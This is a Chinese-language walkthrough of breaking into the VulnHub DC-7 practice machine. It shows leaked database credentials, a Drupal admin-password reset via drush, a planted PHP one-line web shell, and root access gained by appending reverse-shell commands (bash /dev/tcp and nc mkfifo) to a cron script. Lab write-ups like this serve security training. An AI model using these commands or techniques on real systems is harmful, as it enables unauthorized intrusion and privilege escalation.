vulnhub渗透实战-DC7

先nmap一下,发现开放了22端口的ssh服务和80端口的http服务:

 

whatweb确定一下是用drupal搭建的:

dirb不到什么有价值的信息,直接浏览器访问80端口试试:

 

 这儿应该是提示,说暴力破解没用,要think "outside" the Box

根据左下角一个很像用户名提示,在搜索引擎上搜索信息,然后在github上找到相关信息:

 

 看来就是这儿了。其中的config.PHP如下:

<?PHP
    $servername = "localhost";
    $username = "dc7user";
    $password = "MdR3xOgB7#dW";
    $dbname = "Staff";
    $conn = MysqLi_connect($servername, $username, $password, $dbname);
?>

通过用户名和密码登陆之前的ssh服务,登陆成功:

 

 进去以后发现有一个mBox一个backups文件夹,先看看mBox

 

 mBox里面记录的应该是一个定时的计划任务,可以看到时间间隔大约为15min,计划任务为/opt/scripts/backups.sh:

 

 看一下这个计划任务的脚本是干啥的:

 

 可以看到先进入/var/www/html目录,然后使用drush修改数据库的一些信息。经查询,drush命令主要用于管理drupal的数据库相关信息。

那么我们先切换目录,然后通过drush命令修改admin用户的密码为123:

 

 然后通过login页面登陆成功:

 

 登陆进去以后在content模块下发现可以写入basic page:

 

 结合之前whatweb到的解释器语言为PHP,想到写入PHP代码,但是发现目前只能写入静态HTML不支持PHP代码,因为Drupal 8后为了安全,需要将PHP单独作为一个模块导入。那么就导入PHP模块吧。

根据网上的安装教程一步一步来 :

https://ftp.drupal.org/files/projects/PHP-8.x-1.0.tar.gz

 

 

 

 

 

 

 

 

 

 PHP模块安装成功。下面就通过在basic page写入一句话木马即可:

 

 然后kali本地打开监听端口9999,通过url传参注入反弹shell的命令:

 

 反弹shell成功:

 

 还记得之前的/opt/scripts/backups.sh么

 

 这个脚本目前是root用户www-data组的,所以我们对他有rwx权限。那么对该脚本进行修改

 

也可以这么修改

 echo "bash -i >& /dev/tcp/192.168.190.150/1234 0>&1" >> /opt/scripts/backups.sh

 echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.190.150 1234 >/tmp/f" >> backups.sh

mkfifo命令创建一个FIFO特殊文件,是一个命名管道(可以用来做进程之间通信的桥梁)

然后等待计划任务自己执行(因为如果以www-data的身份去执行,反弹回来的还是www-data的shell):

反弹shell成功:

 

 结束。

 

参考:

https://blog.csdn.net/weixin_43583637/article/details/102809227

https://blog.csdn.net/weixin_46128614/article/details/104037722

 

相关文章

统一支付是JSAPI/NATIVE/APP各种支付场景下生成支付订单,返...
统一支付是JSAPI/NATIVE/APP各种支付场景下生成支付订单,返...
前言 之前做了微信登录,所以总结一下微信授权登录并获取用户...
FastAdmin是我第一个接触的后台管理系统框架。FastAdmin是一...
之前公司需要一个内部的通讯软件,就叫我做一个。通讯软件嘛...
统一支付是JSAPI/NATIVE/APP各种支付场景下生成支付订单,返...